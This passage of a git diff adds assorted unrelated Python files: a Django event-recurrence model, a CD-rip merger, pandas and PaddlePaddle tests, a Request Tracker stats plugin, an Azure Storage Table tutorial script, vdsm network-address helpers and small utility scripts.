+ # automatically ordered by date + queue = PriorityQueue() + + # for every event, get its recurrence after the given datetime + for e in self.iterator(): + day = e.recurrences.after(naive) + if day is not None: + queue.put((day, e)) + + # for every recurrence, get its event and add the next recurrence to the queue + while not queue.empty(): + day, event = queue.get() + yield localize(day), event + day = event.recurrences.after(day) + if day is not None: + queue.put((day, event)) + + @sliceable + def before(self, dtend): + with Naive(dtend) as (naive, localize): + # automatically ordered by date + queue = PriorityQueue() + + # for every event, get its recurrence before the given datetime + for e in self.iterator(): + day = e.recurrences.before(naive) + if day is not None: + queue.put((day, e)) + + # for every recurrence, get its event and add the next recurrence to the queue + while not queue.empty(): + day, event = queue.get() + yield localize(day), event + day = event.recurrences.before(day) + if day is not None: + queue.put((day, event)) + + @sliceable + def between(self, dtstart, dtend): + with Naive(dtstart) as (naive_start, localize), Naive(dtend) as (naive_end, localize): + # automatically ordered by date + queue = PriorityQueue() + + # for every event, get its recurrences between the given datetimes + for e in self.iterator(): + for day in e.recurrences.between(naive_start, naive_end, inc=True): + queue.put((day, e)) + + # for every recurrence, get its event and add the next recurrences to the queue + while not queue.empty(): + day, event = queue.get() + yield localize(day), event + + @sliceable + def upcoming(self): + """ + Get the upcoming event recurrences. + """ + return self.after(timezone.now().replace(hour=0, minute=0, second=0)) + + +@total_ordering +@python_2_unicode_compatible +class Event(models.Model): + objects = EventQuerySet.as_manager() + + class Meta: + verbose_name = _('Event') + verbose_name_plural = _('Events') + + title = models.CharField(_('Title'), max_length=128) + slug = AutoSlugField(editable=False, unique=True, populate_from='title') + + recurrences = RecurrenceField(_('Recurrences')) + time = models.TimeField(_('Time'), null=True, blank=True, help_text=_('Leave blank if all day event.')) + + description = RichTextField(_('Description'), blank=True) + location = models.CharField(_('Location'), max_length=256, blank=True) + image = ImageField(_('Image'), blank=True, upload_to='events') + link = models.URLField(_('Link'), blank=True) + + def __str__(self): + return self.title + + def __lt__(self, other): + return (self.time, self.pk) < (other.time, other.pk) + + def get_absolute_url(self): + return reverse('events:detail', kwargs={'slug': self.slug}) + + @sliceable + def upcoming(self): + """ + Generator of all the future occurrences of this event. + """ + with Naive(timezone.now()) as (naive, localize): + upcoming = naive + while True: + upcoming = self.recurrences.after(upcoming) + if upcoming is None: + return + yield localize(upcoming) + + @sliceable + def past(self): + """ + Generator of all the past occurrences of this event. + """ + with Naive(timezone.now()) as (naive, localize): + past = naive + while True: + past = self.recurrences.before(past) + if past is None: + return + yield localize(past) diff --git a/pool/shard000/Python/0008888_merge_rips.py b/pool/shard000/Python/0008888_merge_rips.py new file mode 100644 index 0000000000000000000000000000000000000000..31c047443f09c34ed1ccb9182193a4be04a3df65 --- /dev/null +++ b/pool/shard000/Python/0008888_merge_rips.py @@ -0,0 +1,97 @@ +#!/usr/bin/python -tt +# +# Copyright (c) 2009, Adam Simpkins +# +""" +Merge several different ripped versions of a track. Useful when cdparanoia +reports some uncorrectable errors. If you have ripped the track several times, +this tool can merge them all, by choosing the most popular value from all files +for each byte value. + +Usage: merge.py FILE1 FILE2 [...] > merged.wav +""" + +import sys + +def msg(s): + print >> sys.stderr, str(s) + + +def handle_difference(outf, bytes, offset): + values = {} + for b in bytes: + try: + values[b] += 1 + except KeyError: + values[b] = 1 + + max_count = 0 + max_byte = [] + for (b, count) in values.items(): + if count > max_count: + max_count = count + max_byte = [b] + elif count == max_count: + max_byte.append(b) + + if len(max_byte) != 1: + raise Exception('tie at offset %d: %s' % (offset, max_byte)) + + msg('%d: %s --> %r' % (offset, values, max_byte[0])) + outf.write(max_byte[0]) + + +def handle_chunks(outf, chunks, offset): + # See if there are any differences + v = chunks[0] + for c in chunks: + if c != v: + break + else: + # Great, all identical + outf.write(v) + sys.stderr.write('%d\r' % (offset,)) + return + + # Hmm. We found differences. + # Try to split the chunks in half, and recurse on each half. + l = len(v) + if l == 1: + # Down to single byte chunks. + # Handle the difference. + handle_difference(outf, chunks, offset) + else: + h = l / 2 + first_half = [c[:h] for c in chunks] + second_half = [c[h:] for c in chunks] + handle_chunks(outf, first_half, offset) + handle_chunks(outf, second_half, offset + h) + + +def main(argv): + filenames = argv[1:] + msg(filenames) + + outf = sys.stdout + + files = [open(name, 'r') for name in filenames] + + block_size = 2048 + offset = 0 + while True: + blocks = [f.read(block_size) for f in files] + + # FIXME: detect end of file better. + # If some end before others, handle the error. + if not blocks[0]: + break + + handle_chunks(outf, blocks, offset) + offset += block_size + + return 0 + + +if __name__ == '__main__': + rc = main(sys.argv) + sys.exit(rc) diff --git a/pool/shard000/Python/0008889_schemas.py b/pool/shard000/Python/0008889_schemas.py new file mode 100644 index 0000000000000000000000000000000000000000..3ae8b0f1f0bee738eebcbbe9980998ca3a667794 --- /dev/null +++ b/pool/shard000/Python/0008889_schemas.py @@ -0,0 +1,33 @@ +# Yith Library Server is a password storage server. +# Copyright (C) 2012-2013 Lorenzo Gil Sanchez +# +# This file is part of Yith Library Server. +# +# Yith Library Server is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Yith Library Server is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with Yith Library Server. If not, see . + +import colander +from deform.widget import TextAreaWidget + +from yithlibraryserver.i18n import TranslationString as _ + + +class ContactSchema(colander.MappingSchema): + + name = colander.SchemaNode(colander.String(), title=_('Name')) + email = colander.SchemaNode(colander.String(), title=_('Email')) + message = colander.SchemaNode( + colander.String(), + widget=TextAreaWidget(css_class='input-xxlarge', rows=10), + title=_('Message'), + ) diff --git a/pool/shard000/Python/0008894_test_expanding.py b/pool/shard000/Python/0008894_test_expanding.py new file mode 100644 index 0000000000000000000000000000000000000000..1e92c981964c5fc8a41dd53426a8d68ed651635b --- /dev/null +++ b/pool/shard000/Python/0008894_test_expanding.py @@ -0,0 +1,115 @@ +import numpy as np +import pytest + +from pandas.errors import UnsupportedFunctionCall + +import pandas as pd +from pandas import DataFrame, Series +import pandas.core.window as rwindow +from pandas.tests.window.common import Base +import pandas.util.testing as tm + + +class TestExpanding(Base): + def setup_method(self, method): + self._create_data() + + def test_doc_string(self): + + df = DataFrame({"B": [0, 1, 2, np.nan, 4]}) + df + df.expanding(2).sum() + + @pytest.mark.parametrize("which", ["series", "frame"]) + def test_constructor(self, which): + # GH 12669 + + o = getattr(self, which) + c = o.expanding + + # valid + c(min_periods=1) + c(min_periods=1, center=True) + c(min_periods=1, center=False) + + # not valid + for w in [2.0, "foo", np.array([2])]: + with pytest.raises(ValueError): + c(min_periods=w) + with pytest.raises(ValueError): + c(min_periods=1, center=w) + + @pytest.mark.parametrize("method", ["std", "mean", "sum", "max", "min", "var"]) + def test_numpy_compat(self, method): + # see gh-12811 + e = rwindow.Expanding(Series([2, 4, 6]), window=2) + + msg = "numpy operations are not valid with window objects" + + with pytest.raises(UnsupportedFunctionCall, match=msg): + getattr(e, method)(1, 2, 3) + with pytest.raises(UnsupportedFunctionCall, match=msg): + getattr(e, method)(dtype=np.float64) + + @pytest.mark.parametrize( + "expander", + [ + 1, + pytest.param( + "ls", + marks=pytest.mark.xfail( + reason="GH#16425 expanding with offset not supported" + ), + ), + ], + ) + def test_empty_df_expanding(self, expander): + # GH 15819 Verifies that datetime and integer expanding windows can be + # applied to empty DataFrames + + expected = DataFrame() + result = DataFrame().expanding(expander).sum() + tm.assert_frame_equal(result, expected) + + # Verifies that datetime and integer expanding windows can be applied + # to empty DataFrames with datetime index + expected = DataFrame(index=pd.DatetimeIndex([])) + result = DataFrame(index=pd.DatetimeIndex([])).expanding(expander).sum() + tm.assert_frame_equal(result, expected) + + def test_missing_minp_zero(self): + # https://github.com/pandas-dev/pandas/pull/18921 + # minp=0 + x = pd.Series([np.nan]) + result = x.expanding(min_periods=0).sum() + expected = pd.Series([0.0]) + tm.assert_series_equal(result, expected) + + # minp=1 + result = x.expanding(min_periods=1).sum() + expected = pd.Series([np.nan]) + tm.assert_series_equal(result, expected) + + @pytest.mark.parametrize("klass", [pd.Series, pd.DataFrame]) + def test_iter_raises(self, klass): + # https://github.com/pandas-dev/pandas/issues/11704 + # Iteration over a Window + obj = klass([1, 2, 3, 4]) + with pytest.raises(NotImplementedError): + iter(obj.expanding(2)) + + def test_expanding_axis(self, axis_frame): + # see gh-23372. + df = DataFrame(np.ones((10, 20))) + axis = df._get_axis_number(axis_frame) + + if axis == 0: + expected = DataFrame( + {i: [np.nan] * 2 + [float(j) for j in range(3, 11)] for i in range(20)} + ) + else: + # axis == 1 + expected = DataFrame([[np.nan] * 2 + [float(i) for i in range(3, 21)]] * 10) + + result = df.expanding(3, axis=axis_frame).sum() + tm.assert_frame_equal(result, expected) diff --git a/pool/shard000/Python/0008899_rt.py b/pool/shard000/Python/0008899_rt.py new file mode 100644 index 0000000000000000000000000000000000000000..a724e371b25e0b0373a00e03eb843f1129ba553d --- /dev/null +++ b/pool/shard000/Python/0008899_rt.py @@ -0,0 +1,155 @@ +# coding: utf-8 +""" +Request Tracker stats such as reported and resolved tickets + +Config example:: + + [rt] + type = rt + prefix = RT + url = https://tracker.org/rt/Search/Results.tsv +""" + +import http.client +import urllib.parse +from base64 import b64encode + +import gssapi + +from did.base import Config, ReportError +from did.stats import Stats, StatsGroup +from did.utils import log, pretty + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# RequestTracker +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + + +class RequestTracker(object): + """ Request Tracker Investigator """ + + def __init__(self, parent): + """ Initialize url and parent """ + self.parent = parent + self.url = urllib.parse.urlsplit(parent.url) + self.url_string = parent.url + + def get(self, path): + """ Perform a GET request with GSSAPI authentication """ + # Generate token + service_name = gssapi.Name('HTTP@{0}'.format(self.url.netloc), + gssapi.NameType.hostbased_service) + ctx = gssapi.SecurityContext(usage="initiate", name=service_name) + data = b64encode(ctx.step()).decode() + + # Make the connection + connection = http.client.HTTPSConnection(self.url.netloc, 443) + log.debug("GET {0}".format(path)) + connection.putrequest("GET", path) + connection.putheader("Authorization", "Negotiate {0}".format(data)) + connection.putheader("Referer", self.url_string) + connection.endheaders() + + # Perform the request, convert response into lines + response = connection.getresponse() + if response.status != 200: + raise ReportError( + "Failed to fetch tickets: {0}".format(response.status)) + lines = response.read().decode("utf8").strip().split("\n")[1:] + log.debug("Tickets fetched:") + log.debug(pretty(lines)) + return lines + + def search(self, query): + """ Perform request tracker search """ + # Prepare the path + log.debug("Query: {0}".format(query)) + path = self.url.path + '?Format=__id__+__Subject__' + path += "&Order=ASC&OrderBy=id&Query=" + urllib.parse.quote(query) + + # Get the tickets + lines = self.get(path) + log.info("Fetched tickets: {0}".format(len(lines))) + return [self.parent.ticket(line, self.parent) for line in lines] + + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# Ticket +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +class Ticket(object): + """ Request tracker ticket """ + + def __init__(self, record, parent): + """ Initialize the ticket from the record """ + self.id, self.subject = record.split("\t") + self.parent = parent + + def __str__(self): + """ Consistent identifier and subject for displaying """ + return "{0}#{1} - {2}".format( + self.parent.prefix, self.id, self.subject) + + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# Stats +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +class ReportedTickets(Stats): + """ Tickets reported """ + + def fetch(self): + log.info("Searching for tickets reported by {0}".format(self.user)) + query = "Requestor.EmailAddress = '{0}'".format(self.user.email) + query += " AND Created > '{0}'".format(self.options.since) + query += " AND Created < '{0}'".format(self.options.until) + self.stats = self.parent.request_tracker.search(query) + + +class ResolvedTickets(Stats): + """ Tickets resolved """ + + def fetch(self): + log.info("Searching for tickets resolved by {0}".format(self.user)) + query = "Owner.EmailAddress = '{0}'".format(self.user.email) + query += "AND Resolved > '{0}'".format(self.options.since) + query += "AND Resolved < '{0}'".format(self.options.until) + self.stats = self.parent.request_tracker.search(query) + + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ +# Stats Group +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +class RequestTrackerStats(StatsGroup): + """ Request Tracker """ + + # Default order + order = 500 + + def __init__(self, option, name=None, parent=None, user=None): + """ Process config, prepare investigator, construct stats """ + + # Check Request Tracker instance url and custom prefix + StatsGroup.__init__(self, option, name, parent, user) + config = dict(Config().section(option)) + try: + self.url = config["url"] + except KeyError: + raise ReportError( + "No url in the [{0}] section".format(option)) + try: + self.prefix = config["prefix"] + except KeyError: + raise ReportError( + "No prefix set in the [{0}] section".format(option)) + + # Save Ticket class as attribute to allow customizations by + # descendant class and set up the RequestTracker investigator + self.ticket = Ticket + self.request_tracker = RequestTracker(parent=self) + # Construct the list of stats + self.stats = [ + ReportedTickets(option=option + "-reported", parent=self), + ResolvedTickets(option=option + "-resolved", parent=self), + ] diff --git a/pool/shard000/Python/0008903_storage_table_demo.py b/pool/shard000/Python/0008903_storage_table_demo.py new file mode 100644 index 0000000000000000000000000000000000000000..a5af88ec2394b805833ed2cfa31e2c6e56e1cd87 --- /dev/null +++ b/pool/shard000/Python/0008903_storage_table_demo.py @@ -0,0 +1,144 @@ +# This script sample is part of "Learn Azure in a Month of Lunches" (Manning +# Publications) by Iain Foulds. +# +# This sample script covers the exercises from chapter 4 of the book. For more +# information and context to these commands, read a sample of the book and +# purchase at https://www.manning.com/books/learn-azure-in-a-month-of-lunches +# +# This script sample is released under the MIT license. For more information, +# see https://github.com/fouldsy/azure-mol-samples/blob/master/LICENSE + +import string,random,time,azurerm,json,subprocess + +from azure.cosmosdb.table.tableservice import TableService +from azure.cosmosdb.table.models import Entity + +# Define variables to handle Azure authentication +get_token_cli = subprocess.Popen(['az account get-access-token | jq -r .accessToken'], stdout=subprocess.PIPE, shell=True) +auth_token = str(get_token_cli.communicate()[0]).rstrip() +subscription_id = azurerm.get_subscription_from_cli() + +# Define variables with random resource group and storage account names +resourcegroup_name = 'azuremol'+''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) +storageaccount_name = 'azuremol'+''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(6)) +location = 'eastus' + +### +# Create the a resource group for our demo +# We need a resource group and a storage account. A random name is generated, as each storage account name must be globally unique. +### +response = azurerm.create_resource_group(auth_token, subscription_id, resourcegroup_name, location) +if response.status_code == 200 or response.status_code == 201: + print('Resource group: ' + resourcegroup_name + ' created successfully.') +else: + print('Error creating resource group') + +# Create a storage account for our demo +response = azurerm.create_storage_account(auth_token, subscription_id, resourcegroup_name, storageaccount_name, location, storage_type='Standard_LRS') +if response.status_code == 202: + print('Storage account: ' + storageaccount_name + ' created successfully.') + print('\nWaiting for storage account to be ready before we create a Table') + time.sleep(15) +else: + print('Error creating storage account') + + +### +# Use the Azure Storage Storage SDK for Python to create a Table +### +print('\nLet\'s create an Azure Storage Table to store some data.') +raw_input('Press Enter to continue...') + +# Each storage account has a primary and secondary access key. +# These keys are used by aplications to access data in your storage account, such as Tables. +# Obtain the primary storage access key for use with the rest of the demo + +response = azurerm.get_storage_account_keys(auth_token, subscription_id, resourcegroup_name, storageaccount_name) +storageaccount_keys = json.loads(response.text) +storageaccount_primarykey = storageaccount_keys['keys'][0]['value'] + +# Create the Table with the Azure Storage SDK and the access key obtained in the previous step +table_service = TableService(account_name=storageaccount_name, account_key=storageaccount_primarykey) +response = table_service.create_table('pizzatable') +if response == True: + print('Storage Table: pizzatable created successfully.\n') +else: + print('Error creating Storage Table.\n') + +time.sleep(1) + + +### +# Use the Azure Storage Storage SDK for Python to create some entries in the Table +### +print('Now let\'s add some entries to our Table.\nRemember, Azure Storage Tables is a NoSQL datastore, so this is similar to adding records to a database.') +raw_input('Press Enter to continue...') + +# Each entry in a Table is called an 'entity'. +# Here, we add an entry for first pizza with two pieces of data - the name, and the cost +# +# A partition key tracks how like-minded entries in the Table are created and queried. +# A row key is a unique ID for each entity in the partition +# These two properties are used as a primary key to index the Table. This makes queries much quicker. + +pizza = Entity() +pizza.PartitionKey = 'pizzamenu' +pizza.RowKey = '001' +pizza.description = 'Pepperoni' +pizza.cost = 18 +table_service.insert_entity('pizzatable', pizza) +print('Created entry for pepperoni...') + +pizza = Entity() +pizza.PartitionKey = 'pizzamenu' +pizza.RowKey = '002' +pizza.description = 'Veggie' +pizza.cost = 15 +table_service.insert_entity('pizzatable', pizza) +print('Created entry for veggie...') + +pizza = Entity() +pizza.PartitionKey = 'pizzamenu' +pizza.RowKey = '003' +pizza.description = 'Hawaiian' +pizza.cost = 12 +table_service.insert_entity('pizzatable', pizza) +print('Created entry for Hawaiian...\n') + +time.sleep(1) + + +### +# Use the Azure Storage Storage SDK for Python to query for entities in our Table +### +print('With some data in our Azure Storage Table, we can query the data.\nLet\'s see what the pizza menu looks like.') +raw_input('Press Enter to continue...') + +# In this query, you define the partition key to search within, and then which properties to retrieve +# Structuring queries like this improves performance as your application scales up and keeps the queries efficient +pizzas = table_service.query_entities('pizzatable', filter="PartitionKey eq 'pizzamenu'", select='description,cost') +for pizza in pizzas: + print('Name: ' + pizza.description) + print('Cost: ' + str(pizza.cost) + '\n') + +time.sleep(1) + + +### +# This was a quick demo to see Tables in action. +# Although the actual cost is minimal (fractions of a cent per month) for the three entities we created, it's good to clean up resources when you're done +### +print('\nThis is a basic example of how Azure Storage Tables behave like a database.\nTo keep things tidy, let\'s clean up the Azure Storage resources we created.') +raw_input('Press Enter to continue...') + +response = table_service.delete_table('pizzatable') +if response == True: + print('Storage table: pizzatable deleted successfully.') +else: + print('Error deleting Storage Table') + +response = azurerm.delete_resource_group(auth_token, subscription_id, resourcegroup_name) +if response.status_code == 202: + print('Resource group: ' + resourcegroup_name + ' deleted successfully.') +else: + print('Error deleting resource group.') diff --git a/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py b/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py new file mode 100644 index 0000000000000000000000000000000000000000..a2f56c428012c615dcf55b6832a54ca473771d08 --- /dev/null +++ b/pool/shard000/Python/0008910_test_collect_fpn_proposals_op.py @@ -0,0 +1,131 @@ +# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +from __future__ import print_function + +import unittest +import numpy as np +import math +import sys +from op_test import OpTest + + +class TestCollectFPNProposalstOp(OpTest): + def set_data(self): + self.init_test_case() + self.make_rois() + self.scores_input = [('y%d' % i, + (self.scores[i].reshape(-1, 1), self.rois_lod[i])) + for i in range(self.num_level)] + self.rois, self.lod = self.calc_rois_collect() + inputs_x = [('x%d' % i, (self.roi_inputs[i][:, 1:], self.rois_lod[i])) + for i in range(self.num_level)] + self.inputs = { + 'MultiLevelRois': inputs_x, + "MultiLevelScores": self.scores_input, + 'MultiLevelRoIsNum': [] + } + self.attrs = {'post_nms_topN': self.post_nms_top_n, } + self.outputs = { + 'FpnRois': (self.rois, [self.lod]), + 'RoisNum': np.array(self.lod).astype('int32') + } + + def init_test_case(self): + self.post_nms_top_n = 20 + self.images_shape = [100, 100] + + def resort_roi_by_batch_id(self, rois): + batch_id_list = rois[:, 0] + batch_size = int(batch_id_list.max()) + sorted_rois = [] + new_lod = [] + for batch_id in range(batch_size + 1): + sub_ind = np.where(batch_id_list == batch_id)[0] + sub_rois = rois[sub_ind, 1:] + sorted_rois.append(sub_rois) + new_lod.append(len(sub_rois)) + new_rois = np.concatenate(sorted_rois) + return new_rois, new_lod + + def calc_rois_collect(self): + roi_inputs = np.concatenate(self.roi_inputs) + scores = np.concatenate(self.scores) + inds = np.argsort(-scores)[:self.post_nms_top_n] + rois = roi_inputs[inds, :] + new_rois, new_lod = self.resort_roi_by_batch_id(rois) + return new_rois, new_lod + + def make_rois(self): + self.num_level = 4 + self.roi_inputs = [] + self.scores = [] + self.rois_lod = [[[20, 10]], [[30, 20]], [[20, 30]], [[10, 10]]] + for lvl in range(self.num_level): + rois = [] + scores_pb = [] + lod = self.rois_lod[lvl][0] + bno = 0 + for roi_num in lod: + for i in range(roi_num): + xywh = np.random.rand(4) + xy1 = xywh[0:2] * 20 + wh = xywh[2:4] * (self.images_shape - xy1) + xy2 = xy1 + wh + roi = [bno, xy1[0], xy1[1], xy2[0], xy2[1]] + rois.append(roi) + bno += 1 + scores_pb.extend(list(np.random.uniform(0.0, 1.0, roi_num))) + rois = np.array(rois).astype("float32") + self.roi_inputs.append(rois) + scores_pb = np.array(scores_pb).astype("float32") + self.scores.append(scores_pb) + + def setUp(self): + self.op_type = "collect_fpn_proposals" + self.set_data() + + def test_check_output(self): + self.check_output(check_dygraph=False) + + +class TestCollectFPNProposalstOpWithRoisNum(TestCollectFPNProposalstOp): + def set_data(self): + self.init_test_case() + self.make_rois() + self.scores_input = [('y%d' % i, + (self.scores[i].reshape(-1, 1), self.rois_lod[i])) + for i in range(self.num_level)] + self.rois, self.lod = self.calc_rois_collect() + inputs_x = [('x%d' % i, (self.roi_inputs[i][:, 1:], self.rois_lod[i])) + for i in range(self.num_level)] + rois_num_per_level = [ + ('rois%d' % i, np.array(self.rois_lod[i][0]).astype('int32')) + for i in range(self.num_level) + ] + + self.inputs = { + 'MultiLevelRois': inputs_x, + "MultiLevelScores": self.scores_input, + 'MultiLevelRoIsNum': rois_num_per_level + } + self.attrs = {'post_nms_topN': self.post_nms_top_n, } + self.outputs = { + 'FpnRois': (self.rois, [self.lod]), + 'RoisNum': np.array(self.lod).astype('int32') + } + + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard000/Python/0008922_views.py b/pool/shard000/Python/0008922_views.py new file mode 100644 index 0000000000000000000000000000000000000000..b4c820479c236899f6b619e6399829d59d589c76 --- /dev/null +++ b/pool/shard000/Python/0008922_views.py @@ -0,0 +1,28 @@ +# -*- coding: utf-8 -*- +from django.contrib.sites.shortcuts import get_current_site +from django.http import JsonResponse, HttpResponseBadRequest +from django.shortcuts import render +from django.views.decorators.http import require_GET + +from .models import Content + +def widget(request): + context = { + 'contents': Content.objects.filter(tags__name__in=['starting']) + } + return render(request, 'widget.html', context) + +@require_GET +def images_by_tag(request, tag): + """Return the URLs of images that match the given tag""" + if not request.is_ajax(): + return HttpResponseBadRequest() + + prefix = 'http://{}'.format(get_current_site(request)) + data = {'status': 'OK'} + + image_urls = ['{}{}'.format(prefix, c.image.url) + for c in Content.objects.filter(tags__name__in=[tag])] + data.update({'data': image_urls}) + + return JsonResponse(data) diff --git a/pool/shard000/Python/0008925_addresses.py b/pool/shard000/Python/0008925_addresses.py new file mode 100644 index 0000000000000000000000000000000000000000..0e198f5f6c643ddbc5cda1099e3d998cf73ce36f --- /dev/null +++ b/pool/shard000/Python/0008925_addresses.py @@ -0,0 +1,131 @@ +# +# Copyright 2015-2021 Red Hat, Inc. +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +# +# Refer to the README and COPYING files for full details of the license +# + +from __future__ import absolute_import +from __future__ import division + +from collections import defaultdict + +import ipaddress +import logging +import socket + +from vdsm.network.netlink import addr as nl_addr +from vdsm.network.sysctl import is_ipv6_local_auto as sysctl_is_ipv6_local_auto + + +def getIpInfo(dev, ipaddrs=None, ipv4_gateway=None): + """Report IP addresses of a device. if there are multiple primary IP + addresses, report in ipv4addr the one that is in the same subnet of + ipv4_gateway, if it is supplied.""" + # TODO: support same logic for ipv6 + + if ipaddrs is None: + ipaddrs = getIpAddrs() + ipv4addr = ipv4netmask = '' + ipv4addrs = [] + ipv6addrs = [] + + def addr_in_gw_net(address, prefix, ipv4_gw): + addr_iface = ipaddress.ip_interface(f'{address}/{prefix}') + gw_net = ipaddress.ip_interface(f'{ipv4_gw}/{prefix}').network + return addr_iface in gw_net + + for addr in ipaddrs[dev]: + if addr['scope'] == 'link': + continue + address_cidr = nl_addr.cidr_form(addr) # x.y.z.t/N + if addr['family'] == 'inet': # ipv4 + ipv4addrs.append(address_cidr) + if nl_addr.is_primary(addr) and ipv4_gateway and ipv4addr == '': + address, prefix = nl_addr.split(addr) + if addr_in_gw_net(address, prefix, ipv4_gateway): + ipv4addr, ipv4netmask = _addr_and_netmask_from_cidr( + address_cidr + ) + else: # ipv6 + ipv6addrs.append(address_cidr) + if ipv4addrs and ipv4addr == '': + # If we didn't find an address in the gateway subnet (which is + # legal if there is another route that takes us to the gateway) we + # choose to report the first address + ipv4addr, ipv4netmask = _addr_and_netmask_from_cidr(ipv4addrs[0]) + + return ipv4addr, ipv4netmask, ipv4addrs, ipv6addrs + + +def getIpAddrs(): + addrs = defaultdict(list) + for addr in nl_addr.iter_addrs(): + addrs[addr['label']].append(addr) + return addrs + + +def IPv4toMapped(ip): + """Return an IPv6 IPv4-mapped address for the IPv4 address""" + mapped = None + + try: + ipv6bin = b'\x00' * 10 + b'\xff\xff' + socket.inet_aton(ip) + mapped = socket.inet_ntop(socket.AF_INET6, ipv6bin) + except socket.error as e: + logging.debug("getIfaceByIP: %s", e) + + return mapped + + +def getDeviceByIP(ip): + """ + Get network device by IP address + :param ip: String representing IPv4 or IPv6 + """ + for addr in nl_addr.iter_addrs(): + address = addr['address'].split('/')[0] + if ( + addr['family'] == 'inet' and ip in (address, IPv4toMapped(address)) + ) or (addr['family'] == 'inet6' and ip == address): + return addr['label'] + return '' + + +def getIpAddresses(): + "Return a list of the host's IPv4 addresses" + return [ + addr['address'] + for addr in nl_addr.iter_addrs() + if addr['family'] == 'inet' + ] + + +def is_ipv6(nladdr): + return nladdr['family'] == 'inet6' + + +def is_dynamic(nladdr): + return not nl_addr.is_permanent(nladdr) + + +def is_ipv6_local_auto(iface): + return sysctl_is_ipv6_local_auto(iface) + + +def _addr_and_netmask_from_cidr(address_cidr): + ip_iface = ipaddress.ip_interface(address_cidr) + return str(ip_iface.ip), str(ip_iface.network.netmask) diff --git a/pool/shard000/Python/0008931_hasher.py b/pool/shard000/Python/0008931_hasher.py new file mode 100644 index 0000000000000000000000000000000000000000..a819ff9665e51918ee31c8eacacd4ad0bf9ae017 --- /dev/null +++ b/pool/shard000/Python/0008931_hasher.py @@ -0,0 +1,22 @@ +#! /usr/bin/env python +import sys +import pickle +import random + +def main(): + file = sys.argv[1] + l = pickle.load(open(file)) + hash_file(l) + +def hash_file(file): + y = random.Random() + for x in file: + if len(x) <= 4: + x.append(y.random()) + else: + for fields in x: + fields.append(y.random()) + pickle.dump(file, open(sys.argv[1]+".p", "wb")) + +if __name__ == "__main__": + main() diff --git a/pool/shard000/Python/0008933_problem0004.py b/pool/shard000/Python/0008933_problem0004.py new file mode 100644 index 0000000000000000000000000000000000000000..07b20e77701fb906f7ce525340606ae266bb5a01 --- /dev/null +++ b/pool/shard000/Python/0008933_problem0004.py @@ -0,0 +1,32 @@ +def largest_palindrome(num_digits): + max_input = 10 ** num_digits + min_input = 10 ** (num_digits - 1) + inputs = range(min_input, max_input) + products = [] + + print('Debug: max_input: {0}'.format(max_input)) + print('Debug: min_input: {0}'.format(min_input)) + for input1 in inputs: + for input2 in inputs: #TODO this doubles up items and could be optimised + products.append(input1 * input2) + + largest_candidate = 0 + + for candidate in products: + if not candidate > largest_candidate: + continue #move to the next candidate + s = str(candidate) + length = len(s) + completed = True + for i in range(0, int(length/2)): + if s[i] != s[length - 1 - i]: + completed = False + break + + if completed: + largest_candidate = candidate + + return largest_candidate + +if __name__ == "__main__": + print(largest_palindrome(3)) diff --git a/pool/shard000/Python/0008935_transformations.py b/pool/shard000/Python/0008935_transformations.py new file mode 100644 index 0000000000000000000000000000000000000000..0bd298246bca24252ca1d9097d4c399d37decece --- /dev/null +++ b/pool/shard000/Python/0008935_transformations.py @@ -0,0 +1,176 @@ +# Third-party +from astropy.utils.misc import isiterable +import numpy as np + +# Gala +from gala.dynamics import Orbit +from gala.units import DimensionlessUnitSystem + +__all__ = ['static_to_constantrotating', 'constantrotating_to_static'] + + +def rodrigues_axis_angle_rotate(x, vec, theta): + """ + Rotated the input vector or set of vectors `x` around the axis + `vec` by the angle `theta`. + + Parameters + ---------- + x : array_like + The vector or array of vectors to transform. Must have shape + + + """ + x = np.array(x).T + vec = np.array(vec).T + theta 